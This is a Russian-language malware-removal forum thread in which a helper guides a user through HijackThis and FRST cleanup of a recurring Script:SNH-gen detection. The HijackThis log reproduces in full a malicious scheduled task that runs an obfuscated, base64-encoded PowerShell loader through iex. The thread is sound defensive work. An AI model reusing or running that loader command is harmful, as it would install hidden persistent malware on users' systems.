Avast каждые 10 минут заносит в карантин один и тот же файл, зараженный Script:SNH-gen

[Ryuuuk]

Avast стал каждые 10 минут заносить один и тот же файл, зараженный Script:SNH-gen в карантин, при этом винит процесс, проходящий по пути C:\Windows\System32\WindowsPowerShell\v1.0\powersh ell.exe . Чистил компьютер как самим авастом, так и malwarebytes. С помощью второго все очистил, но уведомление в авасте не перестало приходить.

[Info_bot]

Уважаемый(ая) Ryuuuk, спасибо за обращение на наш форум!

Помощь в лечении компьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.

Информация

Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста, поддержите проект.

[Vvvyg]

Запустите HijackThis, расположенный в папке Autologger и пофиксите только эти строки:

O21 - HKLM\..\ShellIconOverlayIdentifiers\ - C:\Program Files\AVAST Software\Avast\ashShell.dll
O21 - HKLM\..\ShellIconOverlayIdentifiers\ OneDrive1: (no name) - {BBACC218-34EA-4666-9D7A-C78F2274A524} - (no file)
O21 - HKLM\..\ShellIconOverlayIdentifiers\ OneDrive2: (no name) - {5AB7172C-9C11-405C-8DD5-AF20F3606282} - (no file)
O21 - HKLM\..\ShellIconOverlayIdentifiers\ OneDrive3: (no name) - {A78ED123-AB77-406B-9962-2A5D9D2F7F30} - (no file)
O21 - HKLM\..\ShellIconOverlayIdentifiers\ OneDrive4: (no name) - {F241C880-6982-4CE5-8CF7-7085BA96DA5A} - (no file)
O21 - HKLM\..\ShellIconOverlayIdentifiers\ OneDrive5: (no name) - {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} - (no file)
O21 - HKLM\..\ShellIconOverlayIdentifiers\ OneDrive6: (no name) - {9AA2F32D-362A-42D9-9328-24A483E2CCC3} - (no file)
O21 - HKLM\..\ShellIconOverlayIdentifiers\ OneDrive7: (no name) - {C5FF006E-2AE9-408C-B85B-2DFDD5449D9C} - (no file)
O21-32 - HKLM\..\ShellIconOverlayIdentifiers\ OneDrive1: (no name) - {BBACC218-34EA-4666-9D7A-C78F2274A524} - (no file)
O21-32 - HKLM\..\ShellIconOverlayIdentifiers\ OneDrive2: (no name) - {5AB7172C-9C11-405C-8DD5-AF20F3606282} - (no file)
O21-32 - HKLM\..\ShellIconOverlayIdentifiers\ OneDrive3: (no name) - {A78ED123-AB77-406B-9962-2A5D9D2F7F30} - (no file)
O21-32 - HKLM\..\ShellIconOverlayIdentifiers\ OneDrive4: (no name) - {F241C880-6982-4CE5-8CF7-7085BA96DA5A} - (no file)
O21-32 - HKLM\..\ShellIconOverlayIdentifiers\ OneDrive5: (no name) - {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} - (no file)
O21-32 - HKLM\..\ShellIconOverlayIdentifiers\ OneDrive6: (no name) - {9AA2F32D-362A-42D9-9328-24A483E2CCC3} - (no file)
O21-32 - HKLM\..\ShellIconOverlayIdentifiers\ OneDrive7: (no name) - {C5FF006E-2AE9-408C-B85B-2DFDD5449D9C} - (no file)
O22 - Task: \Microsoft\Windows\Sysmain\Sysmain - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c "$pNnS='v2m2Mbxw61vTQ61cjQaFA8ovhULHTdwBiGaIXd49n3mSBJQF0haKTosY/2H/dsZzz0yeXdUn1ROHEZ11nAHuH4QAkH6ZSMQ8yDTGR4hdsgGITLEK8WXoZ8hQ3k/VUYUt8lTIG79xw3PRH4YQ1DDOUd8gzC7TUchW0lbKU9xBoCT5LrNQ3k/VUYUt8lTIG79xw3HGAYsMj2alXctRinOcF51I2AWbSMVM6S7Kf4Rs0H3UQIdR2VXVR4131R6HFp8Fj3fDQ4M8rWWYEbkHmQqLXNod+juvYcZz1VPZTdUnzAqYR5tknAfRXrkMiECdFIF9lmWYS9Fb2AebXNoa6HClQJxi00nSd4dn2QqYR9VwxECDWKU6hWGMApw8u3mTFZ0SiDnFW7ga9G3JcptmkQjyQJpq0laUHYZx1g7MEpQMn2bYNIhhjHOQTbEv0jeLE5sJ9lLucoxm1RSFRptzknbZQbpx0lPMHo0Mr2aKApB/0D/UStYymQWbNZEt9WSjOsEqhxSFXcMhigbXA4Jg2EuBWcUAmjqjDp9mpTKeB9hNkgHfUs5asnuvYNk+4FnVGbpi0lXTWMg57ErNGZMckTLJR9xfmW6UDo0N3FDERZQCplv4Z5pqyVv8b4ViyFnhD9J1w1CLK5MIiHqlXctgl2OTB9BTmVPVOpMJ72jWKdJwzlKJb4ViyFnhD9JRiwuHA89A1TvRXJh00DKOUthNkAHfUtcTv2rhONUhiV/OWco4wVTQRo1vhUnJW8NL0maTRcpv3HeZXtoIiBCPW9FHv2rhPIFtlhLRXJg81QyYXMovhVGeK60Qj2adCt9cnWLTNJ0CrgGOFJsb712xKatxwl3VUcAn3VWVDsxmj2LPHJEevWeMCKN3nH+PBpsUwUCZAJIb/juvYcZW1FnTdY9m0kWBEZ11mgfRA45U2GDWIJRmqnOOE5cOjwHXSMVM+GS2N5pw1xLyQIl3yUL/WoxxmkrFWKUAkmalQ5J22DuTBthTzFbWGpsQ8nT2N5o+w1nCFMBY70jPQY15j2DMHogMjmalXctUinmQIZkTmVLLMooa8m7sO8BtwkuMW4pp2VLIFbtt0lfGHdAgszyrE4N3mXuvBpkEmRbXRYwb6y7MdpxRwk/RW4Zw2WLIR411zAuKWddHrneZA6V9vXiZS9FJ1UTXRZ8MsCL+KoF2zVPKW8oqh0zVU8A0jE3MBN5NjjuDAol7jGvZEcU7rx2MFZsFtVTua5wt4lLCW4xq0lbhD9JB9WWbXrkMiEGMFZh8nz7ZEdFb2AXCSdoapiT5PZtzy1XVHMojnh2OHMFPkX6YVJFUzCmRAdk2mTbQBolAzU2ERZFVs2nua8gn1WeQacEjwBHzQJw58lfRGZAOgXeUFJR7nj7ZAthNmRXfVtcTv3i2Mco4j3LEQ8VM3lvZVpw08lrQBJsE0kaQFZRznH+TBNYtiRCaGdZM73L+dsQn1WeQacRYzlTaaMxsiAqNM5IGj3fQTsp7nj7ZG9Eb2AvCQ85K5mXnYI14g1OcFtkhwUzZWZtx2kbbGYoU2H3FQ548i2OfEIwSlQqYSc5Eu1vYapt3wlGPeYl31GyGD6V9zwuWQM5Z0DLcCN9enXiaF5BJ1V/bE41V/2XoM8BY9EXSQI1ukmXZTZw65E3AH5oAknWlXctHrFDFTb8FiCaGFZsbsyTkOsEjjxjIH8o110SJTJpfxhvEUtdS2GCLWqpnin+gWcIljweeEZss+nTqQJxxzlLGHLNA01/KUJpg/BmZJJErnWGdUcVBjGSUDZ9I2BaMSNdTv3K2SLt61EjEWcZN2UWSYo1280bSBZsaiE/CXbJgnXeJBtBEnQDUQ9gZpiKgN5pwjgeFRsZC0F3TQqlh1UzxFZoAjnebE8w2nneREJ1b2BbRNI0N6UHsdoZ3mhjUVdMnzh/MR4ds2B6HAMVNjjy/AoVAnWWNDJYTmUzWHbEd7y3FZoRvnA==';&('ixwvexwvx'-replace'xwv')('$d=([regex]::Matches(''=kSKnkCZkgyZuZ3d4lmc0N1JrcCdldkL4YEVVpjOddmbpZ3d4R2bjZ3d45WRuQHe2dHelRlLtVGd2dHezlnd3h3UbdCK4Z3d4Vmd3hXaoACe2dHelZ3d4l2OpIXZi1WduxWYpJXZT5iai9GJgsCInAyJgsCIsVGZv1kLqJ2bkgCIpkyUu5EckgyZulmc0Z3d4NFN2dHe2U2chZ3d4JUbvZ3d4JnR6oTX0JXZ252bD5SblR3c5N1WoAyY2dHelRGI9ACZksjclJWb15Gbhlmd3hnclNFIswWZ2dHek9WTgQ3YlZ3d4xWZzBCfg03JwUkVJJFRMFkd3h3QJNVWIBFXuwFXnAScl1CIElUZ2dHejlmdlRkLfRyegUmc2dHelh2dgwHIlZXa2dHeyR2a2dHezlGZfJzM2dHeulmd3h3dgkWb3dGI9AiaiZ3d49GJ9tjYjRCIuJnd3hXd0Vmc9tyKqRyOzRCIy9Gei1CIdpGJbJGckAicvZ3d4hnYtASXpRyWiNGJg0DIdlGJbJ2YkszckAicvZ3d4hnYtASKyUTMgI3bi1CIzRCIk5md3hXYi1CIzIDKg0DIzRCI9BTPqRyepQnb192QuIGckASZn1CIqRCKml2epsyKpRCI7Qnb192QuI2YkACds1CIpRCI7ADI9ASakgicvZ3d4Z2Ow0jaksTXwslYwRCI9AycksTKzNXYwRCKzVmd3hHd5JEd2dHeldkL4YEVVpjOddmb2dHepR2bj5WRuQnd3hHelRlLtVmd3hHdzl3UbBSPgImd3hHcksXKzNnd3hXYwRSXn5WayZ3d4R3cbBCLiZ3d4NGJd11WlRnd3hXeitFKjVmd3hHZg42bpR3Y2dHeuVnZ'',''.'',''RixwvghxwvtTxwvoLxwveft'')|FoxwvrEaxwvch {$xwv_xwv.valxwvue}) -jxwvo'+'in '''';$d=[Texwvxt.Encoxwvding]::UTxwvF'+2*2*2+'.GexwvtString([Conxwvvert]::Fro'+'mxwvB'+'ase'+8*8+'Strixwvng($xwvd));&(''ixwvexwvx'')($d -repxwvlace''xxwvwv'');'-replace'xwv')"

Перезагрузите систему.

Скачайте Farbar Recovery Scan Tool или с зеркала и сохраните на Рабочем столе.

Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.
Запустите программу. Когда программа запустится, нажмите Да для соглашения с предупреждением.

Нажмите кнопку Сканировать.

После окончания сканирования будут созданы отчеты FRST.txt, Addition.txt в той же папке, откуда была запущена программа.
Прикрепите эти файлы к своему следующему сообщению (лучше оба в одном архиве).

[Ryuuuk]

Логи

[Vvvyg]

На премодерации были сообщения, по какой-то причине

Отключите временно все экраны Avast.

Выделите и скопируйте в буфер обмена следующий код:

Start::
CreateRestorePoint:
Folder: C:\ProgramData\Windows
2021-10-26 18:03 - 2021-09-05 10:25 - 000000000 _RSHD C:\ProgramData\Windows
2021-10-26 17:43 - 2020-12-24 13:42 - 000000000 ____D C:\ProgramData\Lavasoft
ContextMenuHandlers1: [ FileSyncEx] -> {CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B} =>  -> Нет файла
ContextMenuHandlers1: [ANotepad++64] -> {B298D29A-A6ED-11DE-BA8C-A68E55D89593} =>  -> Нет файла
ContextMenuHandlers1: [BriefcaseMenu] -> {85BBD920-42A0-1069-A2E4-08002B30309D} =>  -> Нет файла
ContextMenuHandlers3: [UnlockerShellExtension] -> {DDE4BEEB-DDE6-48fd-8EB5-035C09923F83} =>  -> Нет файла
ContextMenuHandlers4: [ FileSyncEx] -> {CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B} =>  -> Нет файла
ContextMenuHandlers4: [Offline Files] -> {474C98EE-CF3D-41f5-80E3-4AAB0AB04301} =>  -> Нет файла
ContextMenuHandlers6: [BriefcaseMenu] -> {85BBD920-42A0-1069-A2E4-08002B30309D} =>  -> Нет файла
ContextMenuHandlers6: [Offline Files] -> {474C98EE-CF3D-41f5-80E3-4AAB0AB04301} =>  -> Нет файла
ContextMenuHandlers6: [UnlockerShellExtension] -> {DDE4BEEB-DDE6-48fd-8EB5-035C09923F83} =>  -> Нет файла
AlternateDataStreams: C:\ProgramData:NT [40]
AlternateDataStreams: C:\ProgramData:NT2 [856]
AlternateDataStreams: C:\WINDOWS\System32:tdsrinu.gfc [5882]
AlternateDataStreams: C:\WINDOWS\tracing:? [16]
FirewallRules: [{4A9C0F5F-B9DF-41C3-90DC-52019073CAF7}] => (Allow) C:\ProgramData\Windows\Profile\wasp.exe => Нет файла
FirewallRules: [{15A06EB2-7593-4A1B-BDE8-CBD2D260CDB7}] => (Allow) C:\ProgramData\Windows\Profile\waspwing.exe => Нет файла
FirewallRules: [{EB0A6342-D74E-48F6-AE77-A8CEBA75C577}] => (Allow) C:\ProgramData\Windows\Profile\wasp.exe => Нет файла
FirewallRules: [{E2E65FA1-B850-460A-A9B7-E7B36336AFE6}] => (Allow) C:\ProgramData\Windows\Profile\waspwing.exe => Нет файла
FirewallRules: [{08708BD6-4A6E-49C9-A6EA-EE818310F465}] => (Allow) C:\ProgramData\Windows\Profile\wasp.exe => Нет файла
FirewallRules: [{64ADBB25-0AD9-4865-B0CC-50AC9B7E76E6}] => (Allow) C:\ProgramData\Windows\Profile\waspwing.exe => Нет файла
Reboot:
End::

Запустите FRST.EXE/FRST64.EXE, нажмите один раз Исправить и подождите. Программа создаст лог-файл (Fixlog.txt). Прикрепите его к своему следующему сообщению.
Компьютер будет перезагружен автоматически.

Сообщите, что с проблемой.

[Ryuuuk]

Вот лог. Насчет проблемы. Уведомление перестало приходить еще после фиксов через HijackThis